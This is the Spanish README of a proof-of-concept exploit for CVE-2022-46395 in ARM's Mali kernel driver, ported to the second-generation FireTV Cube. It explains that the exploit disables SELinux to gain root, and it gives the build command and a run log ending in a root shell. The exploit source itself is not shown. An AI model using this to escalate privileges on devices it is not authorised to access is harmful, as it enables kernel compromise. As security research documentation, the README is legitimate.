
POC de CVE-2022-46395 para FireTV Cube de 2.ª generación (raven)
Este es un fork del Pixel 6 POC para CVE-2022-46395 del investigador de seguridad Man Yue Mo. Lee su análisis detallado de la vulnerabilidad aquí. Se han realizado cambios para tener en cuenta el espacio de usuario de 32 bits de FireOS. El POC explota un bug en el controlador del kernel Mali de ARM para obtener ejecución arbitraria de código en el kernel, que luego se utiliza para deshabilitar SELinux y obtener root.
El exploit fue parcheado en PS7652/3564 (finales de agosto de 2023). Como referencia, el siguiente comando se usó para compilar con clang en ndk-21:
android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/armv7a-linux-androideabi28-clang -DSHELL mali_user_buf.c mempool_utils.c mem_write.c -o raven_buf
Para obtener los resultados más rápidos, ejecuta después de un reinicio reciente. En promedio, el POC tarda de 2 a 5 minutos en obtener root.
raven:/ $ /data/local/tmp/raven_buf
Amazon/raven/raven:9/PS7646.3565N/0028085972224:user/amz-p,release-keys
benchmark_time 138
failed after 100
finished reset: 342278966 fault: 338143633 195 err 0 read 3
failed to find pgd, retry
finished reset: 731402639 fault: 724605931 208 err 0 read 3
failed to find pgd, retry
finished reset: 67309348 fault: 66434848 210 err 0 read 3
failed to find pgd, retry
failed after 200
failed after 300
benchmark_time 135
failed after 400
failed after 500
failed after 600
benchmark_time 131
failed after 700
finish reset: 797174916 fault: 788811083 352 err 0 read 3
found pgd at page 6
overwrite addr : 104100634 634
overwrite addr : 104300634 634
overwrite addr : 1041001d0 1d0
overwrite addr : 1043001d0 1d0
result 50
raven:/ #